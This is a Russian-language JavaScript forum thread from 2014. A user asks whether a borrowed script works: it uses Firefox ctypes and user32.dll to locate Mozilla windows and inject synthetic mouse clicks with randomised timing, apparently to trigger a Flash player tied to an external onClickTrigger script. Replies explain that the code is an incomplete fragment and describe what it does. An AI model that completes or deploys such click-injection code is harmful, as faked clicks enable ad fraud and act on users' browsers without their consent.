Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 13.08.2014, 19:21
Интересующийся
Отправить личное сообщение для arsen97 Посмотреть профиль Найти все сообщения от arsen97
 
Регистрация: 02.08.2014
Сообщений: 15

Помогите? нужно проверить скрипт
Всем привет!
Умные головы, помогите пожалуйста??? Можете сказать, это рабочий скрипт или нет???
var YBOSWrapper = {
    loaded: false,
    CallBackABI: false,
    WinABI: false,
    EnumWindowsProc: false,
    EnumWindows: false,
    EnumChildWindows: false,
    PostMessage: false,
    
    load: function () {
        try{
            eval('Components.utils.import("resource://gre/modules/ctypes.jsm")');
            this.user32dll = ctypes.open("user32.dll");
      
            if (ctypes.size_t.size == 8) {
                this.CallBackABI = ctypes.default_abi;
                this.WinABI = ctypes.default_abi;
            } else {
                this.CallBackABI = ctypes.stdcall_abi;
                this.WinABI = ctypes.winapi_abi;
            }
          
            this.EnumWindowsProc = ctypes.FunctionType(this.CallBackABI, ctypes.bool, [ctypes.size_t, ctypes.size_t]);
          
            this.EnumWindows = this.user32dll.declare('EnumWindows', this.WinABI, ctypes.bool, this.EnumWindowsProc.ptr, ctypes.size_t);
            this.EnumChildWindows = this.user32dll.declare('EnumChildWindows', this.WinABI, ctypes.bool, ctypes.size_t, this.EnumWindowsProc.ptr, ctypes.size_t);
            eval("this.GetClassName = this.user32dll.declare('GetClassNameW', this.WinABI, ctypes.int, ctypes.size_t, ctypes.jschar.ptr, ctypes.int);");
            eval("this.GetWindowText = this.user32dll.declare('GetWindowTextW', this.WinABI, ctypes.int, ctypes.size_t, ctypes.jschar.ptr, ctypes.int);");
            this.PostMessage = this.user32dll.declare('PostMessageW', this.WinABI, ctypes.bool, ctypes.size_t, ctypes.unsigned_int, ctypes.size_t, ctypes.size_t);
        }catch(e){
            alert(e.message);
        }
    },
   
    WindowsList: function(parent_hWnd, selector){
        if (parent_hWnd==undefined) parent_hWnd = false;
        if (selector==undefined) selector = false;
      
        var wnames = [];
        var self = this;
        var EnumWindowsCallback = function(hwnd, lParam) {
            try{
                var result = true;
                //wnames.push(self.GetWindowTextLength(hwnd));
                var cl_buf = new new ctypes.ArrayType(ctypes.jschar, 255);
                self.GetClassName(hwnd, cl_buf, 255);
                var tit_buf = new new ctypes.ArrayType(ctypes.jschar, 255);
                self.GetWindowText(hwnd, tit_buf, 255);
                //if (clss.indexOf('mozilla')!=-1||clss.indexOf('firefox')!=-1||clss.indexOf('gecko')!=-1){
                var ni = wnames.length;
                var is_selector = true;
                if (typeof selector.classname != 'undefined'){
                    if (cl_buf.readString().toLocaleLowerCase().indexOf(selector.classname)==-1){
                        is_selector = false;
                    }
                }
                if (typeof selector.title != 'undefined'){
                    if (tit_buf.readString().toLocaleLowerCase().indexOf(selector.title)==-1){
                        is_selector = false;
                    }
                }
                if (is_selector){
                    wnames.push({classname: cl_buf.readString(),title: tit_buf.readString(), wnd: hwnd, i: ni});
                }
                //в lParam можно вернуть окно
            }catch(e){
                alert(e.message);
                return false;
            }
            return true;
        };
       
        var callback_ptr = this.EnumWindowsProc.ptr(EnumWindowsCallback);
       
        var wnd = ctypes.size_t(0);
    
        if (parent_hWnd){
            this.EnumChildWindows(parent_hWnd, callback_ptr, ctypes.cast(wnd.address(), ctypes.size_t));
        }else{
            this.EnumWindows(callback_ptr, ctypes.cast(wnd.address(), ctypes.size_t));
        }
        return wnames;
    },
    
    WindowsTree: function(base_selector, parent_hWnd){
        if (base_selector==undefined) base_selector = false;
        if (parent_hWnd==undefined) parent_hWnd = false;
        var list = this.WindowsList(parent_hWnd, base_selector);
        var mywin_arr = Array();
        for(var i=0;i<list.length;i++){
                list[i].childs = this.WindowsTree(false,list[i].wnd);
                mywin_arr.push(list[i]);
        }
        return mywin_arr;
    },
   
    SendMouseEvent: function(wnd, event, x, y, params){
        var params_code = 0;
        try{
            if (params == undefined) params = false;
            else {
                for(var i=0;i<params.length;i++){
                    if (params[i]=='MK_CONTROL'){
                        params_code = params_code | 0x0008;
                    }else if (params[i]=='MK_LBUTTON'){
                        params_code = params_code | 0x0001;
                    }else if (params[i]=='MK_MBUTTON'){
                        params_code = params_code | 0x0010;
                    }else if (params[i]=='MK_RBUTTON'){
                        params_code = params_code | 0x0002;
                    }else if (params[i]=='MK_SHIFT'){
                        params_code = params_code | 0x0004;
                    }
                }
            }
            var evt_code = 0;
            if (event == 'WM_MOUSEMOVE'){
                evt_code = 0x0200;
            }else if (event == 'WM_LBUTTONDOWN'){
                evt_code = 0x0201;
            }else if (event == 'WM_LBUTTONUP'){
                evt_code = 0x0202;
            }else if (event == 'WM_RBUTTONDOWN'){
                evt_code = 0x0204;
            }else if (event == 'WM_RBUTTONUP'){
                evt_code = 0x0205;
            }else if (event == 'WM_MBUTTONDOWN'){
                evt_code = 0x0207;
            }else if (event == 'WM_MBUTTONUP'){
                evt_code = 0x0208;
            }
            
            var coords = (y << 16) | (x & 0xFFFF);
            this.PostMessage(wnd, evt_code,params_code,coords);
        }catch(e){
            alert(e.message);
        }
    }
}


var hwnd = this.hwnd_in_cache(owdoc);
if (!hwnd){
    var ffwindows = this.oswrapper.WindowsList(false,{classname: 'mozillawindow', title: 'mozilla'});
    for(var i=0;i<ffwindows.length;i++){
        var tit = ffwindows[i].title;
        if (tit.indexOf(owdoc.title.substring(0, 10))!=-1){
            hwnd = ffwindows[i].wnd;
            this.hwnd_cache[i] = {document: owdoc, hwnd: hwnd};
            break;
        }
    }
}

if (!hwnd){
    return false;
}

this.oswrapper.SendMouseEvent(hwnd, 'WM_LBUTTONDOWN',x+document_offset.x,y+document_offset.y);
var self = this;
setTimeout(function(){
    self.oswrapper.SendMouseEvent(hwnd, 'WM_LBUTTONUP',x+document_offset.x,y+document_offset.y);
    // this.dispatch oncomplete event
},100+Math.random()*200);


эти скрипты по идеи подключаются через .js файлы в этом же порядке и должны автоматически запускать этот видео плейер
<!DOCTYPE HTML>
<html>
    <head>
        <style type="text/css">
            body
            {
                margin: 0;
                padding: 0;
            }
            #video
            {
                margin: 20% 0 0 25%;    
            }
        </style>
        <script type="text/javascript" src="http://mvi.findbestsolution.net/go.js?func=onClickTrigger&amp;fileuid=<?=$uid?>"></script>
    </head>
    
    <body>
        <div id="video">
            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="letplayer" width="640" height="360" codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab">
                <param name="movie" value="//moevideo.net/swf/letplayer.swf?_=308201402">
                <param name="quality" value="high">
                <param name="allowScriptAccess" value="always">
                <param name="allowFullScreen" value="true">
                <param value="file=<?=$uid?>" name="flashvars">
                <param name="wmode" value="opaque">
                <embed src="//moevideo.net/swf/letplayer.swf?_=308201402" quality="high" bgcolor="#000000" width="640" height="360" name="letplayer" align="middle" play="true" loop="false" allowfullscreen="true" allowscriptaccess="always" type="application/x-shockwave-flash" flashvars="file=<?=$uid?>" wmode="opaque" pluginspage="http://www.adobe.com/go/getflashplayer">
            </object>
        </div>
    </body>
</html>

как я не пробовал их подключить они не работаю(в Chrome инспекторе показывает ошибку во втором файле на 15 строке).
скрипт писал не я.
Народ, HELP ME???????
Ответить с цитированием
  #2 (permalink)  
Старый 13.08.2014, 19:54
Интересующийся
Отправить личное сообщение для arsen97 Посмотреть профиль Найти все сообщения от arsen97
 
Регистрация: 02.08.2014
Сообщений: 15

вот
http://cs618430.vk.me/v618430398/191b4/5RCo1H23_Mo.jpg

Последний раз редактировалось arsen97, 13.08.2014 в 19:56.
Ответить с цитированием
  #3 (permalink)  
Старый 13.08.2014, 19:58
Интересующийся
Отправить личное сообщение для arsen97 Посмотреть профиль Найти все сообщения от arsen97
 
Регистрация: 02.08.2014
Сообщений: 15

вот..
Ответить с цитированием
  #4 (permalink)  
Старый 13.08.2014, 20:27
Интересующийся
Отправить личное сообщение для arsen97 Посмотреть профиль Найти все сообщения от arsen97
 
Регистрация: 02.08.2014
Сообщений: 15

Rise, но а так скрипт на рабочий(реальный) похож?
Ответить с цитированием
  #5 (permalink)  
Старый 13.08.2014, 20:33
Интересующийся
Отправить личное сообщение для arsen97 Посмотреть профиль Найти все сообщения от arsen97
 
Регистрация: 02.08.2014
Сообщений: 15

на сколько много не хватает?
Ответить с цитированием
  #6 (permalink)  
Старый 13.08.2014, 20:43
Профессор
Отправить личное сообщение для tsigel Посмотреть профиль Найти все сообщения от tsigel
 
Регистрация: 12.12.2012
Сообщений: 1,398

Ваш второй файл - это кусок какой-то функции, потому что просто так в гобальной области нельзя писать return

Сколько там не хватает спросите у гадалки. Это только экстросенс скажет.
Ответить с цитированием
  #7 (permalink)  
Старый 13.08.2014, 22:58
Аватар для ixth
Профессор
Отправить личное сообщение для ixth Посмотреть профиль Найти все сообщения от ixth
 
Регистрация: 19.01.2010
Сообщений: 354

Это вообще похоже на jscript и работает, Наверное, только под ie или WSH.
Ответить с цитированием
  #8 (permalink)  
Старый 14.08.2014, 09:25
Аватар для MallSerg
Профессор
Отправить личное сообщение для MallSerg Посмотреть профиль Найти все сообщения от MallSerg
 
Регистрация: 07.03.2011
Сообщений: 1,138

Это просто так не взлетит )))
По сути это ActiveX который работает через COM сервер который использует обертки называемые враперами их оч много и нужно точно знать что это за обертка для того что бы узнать ее апи

Из кода видно что этот скрипт ищет все окна windows среди них ищет окно с классом "title: 'mozilla'" и использует API операционной системы для того что бы эмулировать работу мышки отправляя в это окно клики мышки

так не пишут уже лет 15. сейчас для этого используют autoit и ему подобные
Работать это может только на IE8- WSH и требует зарегистрированного в системе врапера
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите! Ищу нужный скрипт! есть ли такой скрипт вообще? joni Javascript под браузер 0 06.08.2014 13:54
Помогите вставить скрипт на страницу alexsio Работа 7 22.04.2013 18:19
Помогите написать скрипт! tema1508 Общие вопросы Javascript 1 01.03.2013 01:05
Помогите! "Не работает скрипт отсчета времени! Я нуб) Dobson Общие вопросы Javascript 4 28.05.2011 18:20
Помогите Исправить элементарный скрипт! с location.searсh pp-vp Events/DOM/Window 5 12.08.2010 14:40